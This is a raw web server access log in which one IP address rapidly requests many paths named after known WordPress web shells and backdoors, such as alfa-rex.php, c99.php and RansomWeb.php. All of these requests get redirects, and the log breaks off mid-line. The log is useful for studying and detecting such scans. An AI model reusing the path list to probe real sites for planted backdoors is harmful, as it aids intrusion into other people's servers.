[24/Apr/2025:20:35:29 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:30 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:30 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:30 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:31 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:31 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:31 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:35:31 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:32 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.136 - - [24/Apr/2025:20:35:32 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:32 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:32 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:33 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:33 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:33 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:35:33 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:35:34 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:34 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:34 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:35:35 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:35 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:36 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:36 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:35:37 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:37 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:35:38 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:39 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:39 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:39 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:40 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:40 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:40 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:35:40 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:41 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:41 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:35:41 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:42 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:42 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:42 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:35:42 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:35:43 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:43 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:43 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:35:43 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:44 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:44 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:45 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:45 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:45 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:46 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:46 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:46 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:47 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:47 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:35:47 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:48 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:49 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:35:49 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:35:49 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:35:49 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:50 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:51 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:51 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:51 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:52 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:52 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:35:52 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:52 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:35:53 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:53 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:53 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:54 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:35:54 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:54 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:55 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.136 - - [24/Apr/2025:20:35:55 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:55 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:55 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:35:56 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:56 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:56 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:57 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:35:57 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:35:57 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:58 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:58 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:58 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:58 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:35:59 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:59 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:59 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:59 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:35:59 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:00 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:00 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:36:00 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:00 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:36:01 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:01 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:36:02 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:02 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:02 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:03 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:03 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:03 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:04 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:04 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:06 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:07 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:07 -0400] "GET 